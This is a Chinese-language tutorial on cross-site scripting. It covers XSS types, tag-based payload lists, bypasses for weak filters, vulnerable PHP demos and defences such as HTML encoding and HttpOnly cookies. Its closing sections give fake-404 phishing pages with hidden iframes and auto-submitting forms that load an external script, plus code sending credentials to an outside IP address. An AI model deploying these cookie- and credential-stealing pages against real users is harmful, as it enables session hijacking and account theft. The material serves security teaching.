1. 程式人生 > 實用技巧 >XSS跨站指令碼攻擊

XSS跨站指令碼攻擊

XSS的原理和分類

跨站指令碼攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意Script程式碼,當用戶瀏覽該頁面時,嵌入Web裡面的Script程式碼會被執行,從而達到惡意攻擊使用者的目的。XSS攻擊針對的是使用者層面的攻擊!

XSS分為:儲存型 、反射型 、DOM型XSS

儲存型XSS:儲存型XSS,持久化,程式碼是儲存在伺服器中的,如在個人資訊或發表文章等地方,插入程式碼,如果沒有過濾或過濾不嚴,那麼這些程式碼將儲存到伺服器中,使用者訪問該頁面的時候觸發程式碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie
反射型XSS:非持久化,需要欺騙使用者自己去點選連結才能觸發XSS程式碼(伺服器中沒有這樣的頁面和內容),一般容易出現在搜尋頁面。反射型XSS大多數是用來盜取使用者的Cookie資訊。
DOM型XSS:不經過後端,DOM-XSS漏洞是基於文件物件模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是通過url傳入引數去控制觸發的,其實也屬於反射型XSS。 DOM的詳解:

DOM文件物件模型

可能觸發DOM型XSS的屬性

  1. document.referer
  2. window.name
  3. location
  4. innerHTML
  5. documen.write
  • 1

如圖,我們在URL中傳入引數的值,然後客戶端頁面通過js指令碼利用DOM的方法獲得URL中引數的值,再通過DOM方法賦值給選擇列表,該過程沒有經過後端,完全是在前端完成的。所以,我們就可以在我們輸入的引數上做手腳了。

XSS的攻擊載荷

以下所有標籤的 >都可以用 //代替,例如 <script>alert(1)</script//

<script>標籤:<script>標籤是最直接的XSS有效載荷,指令碼標記可以引用外部的JavaScript程式碼,也可以將程式碼插入指令碼標記中

  1. <script>alert( "hack")< /script> #彈出hack
  2. <script>alert(/hack/)< /script> #彈出hack
  3. <script>alert(1)</script> #彈出 1,對於數字可以不用引號
  4. <script>alert( document.cookie)< /script> #彈出cookie
  5. <script src=http:/ /xxx.com/xss.js> </script> #引用外部的xss
  • 1

svg標籤

  1. <svg οnlοad= "alert(1)">
  2. <svg οnlοad= "alert(1)" //
  • 1

<img>標籤:

  1. <img src= 1 οnerrοr=alert( "hack")>
  2. <img src=1 οnerrοr=alert(document.cookie)> #彈出cookie
  • 1

<body>標籤:

  1. <body οnlοad=alert( 1)>
  2. <body οnpageshοw=alert(1)>
  • 1

video標籤:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
  • 1

style標籤:

<style οnlοad=alert(1)></style>
  • 1

XSS可以插在哪裡?

  • 使用者輸入作為script標籤內容
  • 使用者輸入作為HTML註釋內容
  • 使用者輸入作為HTML標籤的屬性名
  • 使用者輸入作為HTML標籤的屬性值
  • 使用者輸入作為HTML標籤的名字
  • 直接插入到CSS裡
  • 最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面裡!
  1. #使用者輸入作為 HTML註釋內容,導致攻擊者可以進行閉合繞過
  2. <!-- 使用者輸入 -->
  3. <!-- --><script>alert('hack')</script><!-- -->
  4. #使用者輸入作為標籤屬性名,導致攻擊者可以進行閉合繞過
  5. <div 使用者輸入= "xx"> </div>
  6. <div ></div><script>alert('hack')</script><div a= "xx"> </div>
  7. #使用者輸入作為標籤屬性值,導致攻擊者可以進行閉合繞過
  8. <div id= "使用者輸入"></div>
  9. <div id= ""></div><script>alert('hack')</script><div a= "x"></div>
  10. #使用者輸入作為標籤名,導致攻擊者可以進行閉合繞過
  11. <使用者輸入 id= "xx" />
  12. <><script>alert('hack')</script><b id= "xx" />
  13. #使用者輸入作為 CSS內容,導致攻擊者可以進行閉合繞過
  14. <style>使用者輸入<style>
  15. <style> </style><script>alert('hack')</script><style> </style>
  • 1

XSS漏洞的挖掘

黑盒測試

儘可能找到一切使用者可控並且能夠輸出在頁面程式碼中的地方,比如下面這些:

  • URL的每一個引數
  • URL本身
  • 表單
  • 搜尋框

常見業務場景

  • 重災區:評論區、留言區、個人資訊、訂單資訊等
  • 針對型:站內信、網頁即時通訊、私信、意見反饋
  • 存在風險:搜尋框、當前目錄、圖片屬性等

白盒測試(程式碼審計)

關於XSS的程式碼審計主要就是從接收引數的地方和一些關鍵詞入手。

PHP中常見的接收引數的方式有$_GET$_POST$_REQUEST等等,可以搜尋所有接收引數的地方。然後對接收到的資料進行跟蹤,看看有沒有輸出到頁面中,然後看輸出到頁面中的資料是否進行了過濾和html編碼等處理。

也可以搜尋類似echo這樣的輸出語句,跟蹤輸出的變數是從哪裡來的,我們是否能控制,如果從資料庫中取的,是否能控制存到資料庫中的資料,存到資料庫之前有沒有進行過濾等等。

大多數程式會對接收引數封裝在公共檔案的函式中統一呼叫,我們就需要審計這些公共函式看有沒有過濾,能否繞過等等。

同理審計DOM型注入可以搜尋一些js操作DOM元素的關鍵詞進行審計。

XSS的攻擊過程

反射型XSS漏洞:

  1. Alice經常瀏覽某個網站,此網站為Bob所擁有。Bob的站點需要Alice使用使用者名稱/密碼進行登入,並存儲了Alice敏感資訊(比如銀行帳戶資訊)。
  2. Tom 發現 Bob的站點存在反射性的XSS漏洞
  3. Tom利用Bob網站的反射型XSS漏洞編寫了一個exp,做成連結的形式,並利用各種手段誘使Alice點選
  4. Alice在登入到Bob的站點後,瀏覽了 Tom 提供的惡意連結
  5. 嵌入到惡意連結中的惡意指令碼在Alice的瀏覽器中執行。此指令碼盜竊敏感資訊(cookie、帳號資訊等資訊)。然後在Alice完全不知情的情況下將這些資訊傳送給 Tom。
  6. Tom 利用獲取到的cookie就可以以Alice的身份登入Bob的站點,如果指令碼的功更強大的話,Tom 還可以對Alice的瀏覽器做控制並進一步利用漏洞控制

儲存型XSS漏洞:

  1. Bob擁有一個Web站點,該站點允許使用者釋出資訊/瀏覽已釋出的資訊。
  2. Tom檢測到Bob的站點存在儲存型的XSS漏洞。
  3. Tom在Bob的網站上釋出一個帶有惡意指令碼的熱點資訊,該熱點資訊儲存在了Bob的伺服器的資料庫中,然後吸引其它使用者來閱讀該熱點資訊。
  4. Bob或者是任何的其他人如Alice瀏覽該資訊之後,Tom的惡意指令碼就會執行。
  5. Tom的惡意指令碼執行後,Tom就可以對瀏覽器該頁面的使用者發動一起XSS攻擊

XSS漏洞的危害

從以上我們可以知道,儲存型的XSS危害最大。因為他儲存在伺服器端,所以不需要我們和被攻擊者有任何接觸,只要被攻擊者訪問了該頁面就會遭受攻擊。而反射型和DOM型的XSS則需要我們去誘使使用者點選我們構造的惡意的URL,需要我們和使用者有直接或者間接的接觸,比如利用社會工程學或者利用在其他網頁掛馬的方式。

那麼,利用XSS漏洞可以幹什麼呢?

如果我們的JS水平一般的話,我們可以利用網上免費的XSS平臺來構造程式碼實施攻擊。

XSS漏洞的簡單攻擊測試

反射型XSS:

先放出原始碼

  1. //前端 1.html:
  2. <html>
  3. <head lang="en">
  4. <meta charset="UTF-8">
  5. <title>反射型XSS </title>
  6. </head>
  7. <body>
  8. <form action="action.php" method="post">
  9. <input type="text" name="name" />
  10. <input type="submit" value="提交">
  11. </form>
  12. </body>
  13. </html>
  14. //後端 action.php:
  15. <?php
  16. $name=$_POST[ "name"];
  17. echo $name;
  18. ?>
  • 1

這裡有一個使用者提交的頁面,使用者可以在此提交資料,資料提交之後給後臺處理

所以,我們可以在輸入框中提交資料: <script>alert('hack')</script> ,看看會有什麼反應

頁面直接彈出了hack的頁面,可以看到,我們插入的語句已經被頁面給執行了。
這就是最基本的反射型的XSS漏洞,這種漏洞資料流向是:前端-->後端-->前端

儲存型XSS:

先給出原始碼

  1. //前端:2.html
  2. <html>
  3. <head lang="en">
  4. <meta charset="UTF-8">
  5. <title>儲存型XSS </title>
  6. </head>
  7. <body>
  8. <form action="action2.php" method="post">
  9. 輸入你的ID: <input type="text" name="id" /> <br/>
  10. 輸入你的Name: <input type="text" name="name" /> <br/>
  11. <input type="submit" value="提交">
  12. </form>
  13. </body>
  14. </html>
  15. //後端:action2.php
  16. <?php
  17. $id=$_POST[ "id"];
  18. $name=$_POST[ "name"];
  19. mysql_connect( "localhost", "root", "root");
  20. mysql_select_db( "test");
  21. $sql= "insert into xss value ($id,'$name')";
  22. $result=mysql_query($sql);
  23. ?>
  24. //供其他使用者訪問頁面:show2.php
  25. <?php
  26. mysql_connect( "localhost", "root", "root");
  27. mysql_select_db( "test");
  28. $sql= "select * from xss where id=1";
  29. $result=mysql_query($sql);
  30. while($row=mysql_fetch_array($result)){
  31. echo $row[ 'name'];
  32. }
  33. ?>
  • 1

這裡有一個使用者提交的頁面,資料提交給後端之後,後端儲存在資料庫中。然後當其他使用者訪問另一個頁面的時候,後端調出該資料,顯示給另一個使用者,XSS程式碼就被執行了。

我們輸入 1 和<script>alert(\'hack\')</script> ,注意,這裡的hack的單引號要進行轉義,因為sql語句中的$name是單引號的,所以這裡不轉義的話就會閉合sql語句中的單引號。不然注入不進去。提交了之後,我們看看資料庫

可以看到,我們的XSS語句已經插入到資料庫中了
然後當其他使用者訪問 show2.php 頁面時,我們插入的XSS程式碼就執行了。
儲存型XSS的資料流向是:前端-->後端-->資料庫-->後端-->前端

DOM型XSS:

先放上原始碼

  1. // 前端3.html
  2. <html>
  3. <head lang="en">
  4. <meta charset="UTF-8">
  5. <title>DOM型XSS </title>
  6. </head>
  7. <body>
  8. <form action="action3.php" method="post">
  9. <input type="text" name="name" />
  10. <input type="submit" value="提交">
  11. </form>
  12. </body>
  13. </html>
  14. // 後端action3.php
  15. <?php
  16. $name=$_POST[ "name"];
  17. ?>
  18. <input id="text" type="text" value="<?php echo $name; ?>"/>
  19. <div id="print"> </div>
  20. <script type="text/javascript">
  21. var text= document.getElementById( "text");
  22. var print= document.getElementById( "print");
  23. print.innerHTML=text.value; // 獲取 text的值,並且輸出在print內。這裡是導致xss的主要原因。
  24. </script>
  • 1

這裡有一個使用者提交的頁面,使用者可以在此提交資料,資料提交之後給後臺處理

我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然後看看頁面的變化

頁面直接彈出了 hack 的頁面,可以看到,我們插入的語句已經被頁面給執行了。
這就是DOM型XSS漏洞,這種漏洞資料流向是:前端-->瀏覽器

XSS的簡單過濾和繞過

前面講sql注入的時候,我們講過程式猿對於sql注入的一些過濾,利用一些函式(如:preg_replace()),將組成sql語句的一些字元給過濾,以防止注入。那麼,程式猿也可以用一些函式將構成xss程式碼的一些關鍵字元給過濾了。可是,道高一尺魔高一丈,雖然過濾了,但是還是可以進行過濾繞過,以達到XSS攻擊的目的。

一:區分大小寫過濾標籤

先放上原始碼

  1. //前端 1.html:
  2. <html>
  3. <head lang="en">
  4. <meta charset="UTF-8">
  5. <title>反射型XSS </title>
  6. </head>
  7. <body>
  8. <form action="action4.php" method="post">
  9. <input type="text" name="name" />
  10. <input type="submit" value="提交">
  11. </form>
  12. </body>
  13. </html>
  14. //後端 action4.php:
  15. <?php
  16. $name=$_POST[ "name"];
  17. if($name!= null){
  18. $name=preg_replace( "/<script>/", "",$name); //過濾<script>
  19. $name=preg_replace( "/<\/script>/", "",$name); //過濾</script>
  20. echo $name;
  21. }
  22. ?>
  • 1

繞過技巧:可以使用大小寫繞過 <scripT>alert('hack')</scripT>

二:不區分大小寫過濾標籤

先放上原始碼

這個和上面的程式碼一模一樣,只不過是過濾的時候多加了一個 i ,以不區分大小寫

  1. $name=preg_replace( "/<script>/i", "",$name); //不區分大小寫過濾 <script>
  2. $name=preg_replace( "/<\/script>/i", "",$name); //不區分大小寫過濾 </script>
  • 1

繞過技巧:可以使用巢狀的script標籤繞過<scr<script>ipt>alert('hack')</scr</script>ipt>

三:不區分大小寫,過濾之間的所有內容

先放上原始碼

這個和上面的程式碼一模一樣,只不過是過濾的時候過濾條件發生了變化

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script  及其之間的所有內容
  • 1

雖然無法使用<script>標籤注入XSS程式碼,但是可以通過img、body等標籤的事件或者 iframe 等標籤的 src 注入惡意的 js 程式碼。

payload:<img src=1 οnerrοr=alert('hack')>

我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然後看看頁面的變化


XSS的防禦

XSS防禦的總體思路是:對使用者的輸入(和URL引數)進行過濾,對輸出進行html編碼。也就是對使用者提交的所有內容進行過濾,對url中的引數進行過濾,過濾掉會導致指令碼執行的相關內容;然後對動態輸出到頁面的內容進行html編碼,使指令碼無法在瀏覽器中執行。

對輸入的內容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的XSS攻擊,但是還是存在被繞過的風險。白名單過濾雖然可以基本杜絕XSS攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的。

對輸出進行html編碼,就是通過函式,將使用者的輸入的資料進行html編碼,使其不能作為指令碼執行。

如下,是使用php中的htmlspecialchars函式對使用者輸入的name引數進行html編碼,將其轉換為html實體

  1. #使用htmlspecialchars函式對使用者輸入的name引數進行html編碼,將其轉換為html實體
  2. $name = htmlspecialchars( $_GET[ 'name' ] );
  • 1

如下,圖一是沒有進行html編碼的,圖2是進行了html編碼的。經過html編碼後script標籤被當成了html實體。

我們還可以服務端設定會話Cookie的HTTP Only屬性,這樣,客戶端的JS指令碼就不能獲取Cookie資訊了

反射型XSS的利用姿勢

我們現在發現一個網站存在反射型XSS,當用戶登入該網站時,我們通過誘使使用者點選我們精心製作的惡意連結,來盜取使用者的Cookie並且傳送給我們,然後我們再利用盜取的Cookie以使用者的身份登入該使用者的網站。

get型

當我們輸入引數的請求型別的get型別的,即我們輸入的引數是以URL引數的形式。如下圖

該連結的為:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

那麼,我們要怎麼構造惡意程式碼來誘使使用者點選並且使用者點選後不會發現點選了惡意連結呢?

我們構造瞭如下程式碼,將其儲存為html頁面,然後放到我們自己的伺服器上,做成一個連結。當用戶登入了存在漏洞的網站,並且使用者點選了我們構造的惡意連結時,該連結頁面會偷偷開啟iframe框架,iframe會訪問其中的連結,然後執行我們的js程式碼。該js程式碼會把存在漏洞網站的cookie傳送到我們的平臺上,但是使用者卻渾然不知,他會發現開啟的是一個404的頁面!

<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
  • 1
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  6. <title>404 頁面不存在 </title>
  7. <style type="text/css">
  8. body{ font: 14px/ 1.5 'Microsoft YaHei', '微軟雅黑',Helvetica,Sans-serif; min-width: 1200px; background: #f0f1f3;}
  9. .error-page{ background: #f0f1f3; padding: 80px 0 180px}
  10. .error-page-main{ position:relative; background: #f9f9f9; margin: 0 auto; width: 617px; -ms-box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; padding: 50px 50px 70px}
  11. .error-page-main h3{ font-size: 24px; font-weight: 400; border-bottom: 1px solid #d0d0d0}
  12. .error-page-main h3 strong{ font-size: 54px; font-weight: 400; margin-right: 20px}
  13. </style>
  14. </head>
  15. <body>
  16. <iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"> </iframe>
  17. <div class="error-page">
  18. <div class="error-page-container">
  19. <div class="error-page-main">
  20. <h3>
  21. <strong>404 </strong>很抱歉,您要訪問的頁面不存在!
  22. </h3>
  23. </div>
  24. </div>
  25. </div>
  26. </body>
  27. </html>
  • 1

而我們的XSS平臺將得到使用者的Cookie,然後我們就可以利用得到的Cookie以使用者的身份訪問該網站了。

注:我們的攻擊程式碼可以利用的前提是存在XSS漏洞的網站的X-Frame-options未配置,並且會話Cookie沒有設定Http Only屬性

post型

我們現在知道一個網站的使用者名稱輸入框存在反射型的XSS漏洞

我們抓包檢視

我們構造瞭如下程式碼,將其儲存為html頁面,然後放到我們自己的伺服器上,做成一個連結。當用戶登入了存在漏洞的網站,並且使用者點選了我們構造的惡意連結時,該惡意連結的頁面載入完後會執行js程式碼,完成表單的提交,表單的使用者名稱引數是我們的惡意js程式碼。提交完該表單後,該js程式碼會把存在漏洞網站的cookie傳送到我們的平臺上,但是使用者卻渾然不知,他會發現開啟的是一個404的頁面。

我們這裡寫了一個404頁面,404頁面中隱藏了一個form提交的表單,為了防止提交表單後跳轉,我們在表單下加了一個iframe框架,並且iframe框架的name等於form表單的target,並且我們設定iframe框架為不可見。

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  6. <title>404 頁面不存在 </title>
  7. <style type="text/css">
  8. body{ font: 14px/ 1.5 'Microsoft YaHei', '微軟雅黑',Helvetica,Sans-serif; min-width: 1200px; background: #f0f1f3;}
  9. .error-page{ background: #f0f1f3; padding: 80px 0 180px}
  10. .error-page-main{ position:relative; background: #f9f9f9; margin: 0 auto; width: 617px; -ms-box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; padding: 50px 50px 70px}
  11. .error-page-main h3{ font-size: 24px; font-weight: 400; border-bottom: 1px solid #d0d0d0}
  12. .error-page-main h3 strong{ font-size: 54px; font-weight: 400; margin-right: 20px}
  13. </style>
  14. <script type="text/javascript">
  15. function attack()
  16. {
  17. document.getElementById( "transfer").submit();
  18. }
  19. </script>
  20. </head>
  21. <body>
  22. <iframe src="form.html" frameborder="0" style="display: none"> </iframe>
  23. <div class="error-page">
  24. <div class="error-page-container">
  25. <div class="error-page-main">
  26. <h3>
  27. <strong>404 </strong>很抱歉,您要訪問的頁面不存在!
  28. </h3>
  29. </div>
  30. </div>
  31. <form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
  32. <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
  33. <input type="hidden" name="password" value="1">
  34. </form>
  35. <iframe src="" frameborder="0" name="frameName" style="display: none"> </iframe>
  36. </div>
  37. </body>
  38. </html>
  • 1

當用戶點選了我們構造的惡意連結,發現開啟的是一個404頁面。實際上這個頁面偷偷的進行了表單的提交。

而我們的XSS平臺也收到了傳送來的資料(這資料中沒有Cookie的原因是這個網站我沒設定Cookie,只是隨便寫的一個頁面)。

利用JS將使用者資訊傳送給後臺

  1. <!DOCTYPE html>
  2. <html>
  3. <head lang="en">
  4. <meta charset="UTF-8">
  5. <title> </title>
  6. <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"> </script>
  7. <script>
  8. $( function(){
  9. //我們現在假如 user和pass是我們利用js獲得的使用者的使用者名稱和密碼
  10. user= "admin";
  11. pass= "root";
  12. url= "http://120.79.74.249:8080/?user="+user+ "&pass="+pass;
  13. var frame=$( "<iframe>");
  14. frame.attr( "src",url);
  15. frame.attr( "style", "display:none");
  16. $( "#body").append(frame); //新增一個iframe框架,並設定不顯示。這個框架會偷偷訪問該連結。
  17. });
  18. </script>
  19. </head>
  20. <body id="body">
  21. <h3>hello,word! </h3>
  22. </body>
  23. </html>
  • 1

當用戶訪問了該頁面,我們後臺就可以看到使用者訪問記錄。